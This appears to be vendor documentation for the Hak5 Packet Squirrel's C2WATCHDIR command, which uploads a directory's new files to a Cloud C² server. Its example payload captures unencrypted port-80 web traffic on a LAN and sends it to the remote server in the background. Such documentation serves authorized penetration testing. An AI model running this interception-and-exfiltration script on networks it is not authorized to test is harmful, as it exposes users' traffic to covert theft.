LogoLogo
DocumentationPayloadsCommunitySupport
  • Packet Squirrel Mark II by Hak5
  • Setup
    • Connecting the Packet Squirrel
    • Setting up the Packet Squirrel
  • Getting Started
    • Changes & New features
    • Packet Squirrel Basics
    • Accessing the Packet Squirrel
    • Web UI
    • Getting the Packet Squirrel online
    • Status LED
    • Cloud C²
    • USB storage support
    • Selecting and editing payloads
    • Configuring payloads
    • Running payloads
    • Networking and modes
  • Networking Tutorial
    • Glossary
    • OSI layers
    • Private IP ranges
    • Network masks
    • Packet injection
    • Translation and redirection
    • Packet capture
  • Payload Development
    • Payload development basics
    • DuckyScript for Packet Squirrel
      • BUTTON
      • C2EXFIL
      • C2NOTIFY
      • C2WATCHDIR
      • DYNAMICPROXY
      • KILLPORT
      • KILLSTREAM
      • LED
      • MATCHPORT
      • MATCHSTREAM
      • NETMODE
      • SELFDESTRUCT
      • SSH_START
      • SSH_STOP
      • SPOOFDNS
      • SWITCH
      • UI_START
      • UI_STOP
      • USB_FREE
      • USB_STORAGE
      • USB_WAIT
  • Advanced payloads
    • Quotes and expansions
    • Flow control
    • Redirecting output
    • Payload configuration
    • Return codes & success
    • Background commands
    • Command groups
    • Processing JSON
    • USB encryption
    • VPN configuration
    • Network manipulation
    • Tips, tricks, & pitfalls
    • Python
  • Payload repository
  • Troubleshooting
    • Troubleshooting networking
    • Troubleshooting payloads
    • Factory reset
  • Software Updates
    • Upgrading firmware
Powered by GitBook
On this page
  • Options
  • Experimenting
  • Examples

Was this helpful?

  1. Payload Development
  2. DuckyScript for Packet Squirrel

C2WATCHDIR

Last updated 2 years ago

Was this helpful?

The C2WATCHDIR command monitors a directory and sends any new files to the Cloud C² server and then removes the local file.

C2WATCHDIR is most useful for collecting larger collections of data, and uses USB external storage as a temproary scratch disk.

Options

C2WATCHDIR expects one option: the path to the directory to monitor.

C2WATCHDIR /path/to/directory

By default, C2WATCHDIR removes files after they are sent to Cloud C². To keep them, set the C2_KEEP_FILES variable before running C2WATCHDIR:

C2_KEEP_FILES=1 C2WATCHDIR /usb/foo/

Experimenting

You can experiment using the C2WATCHDIR command live, either in the Web Shell in the web UI, or via ssh!

Examples

#!/bin/bash

# Title: Cloud C2 auto-send
#
# Description: Automatically send streams captured by DUMPSTREAM to Cloud C2

LED B SOLID

# Set the netmode to NAT, otherwise there is no connectivity at all
NETMODE NAT

# Wait for a USB drive 
USBWAIT

# Make the directory for streams 
mkdir /usb/web_streams

# Watch and upload streams to C2.  Remember to background it!
C2WATCHDIR /usb/web_streams &

# Collect unencrypted web pages on port 80
DUMPSTREAM br-lan SERVER /usb/web_streams/web_ 80
Using the C2WATCHDIR command in the Web Shell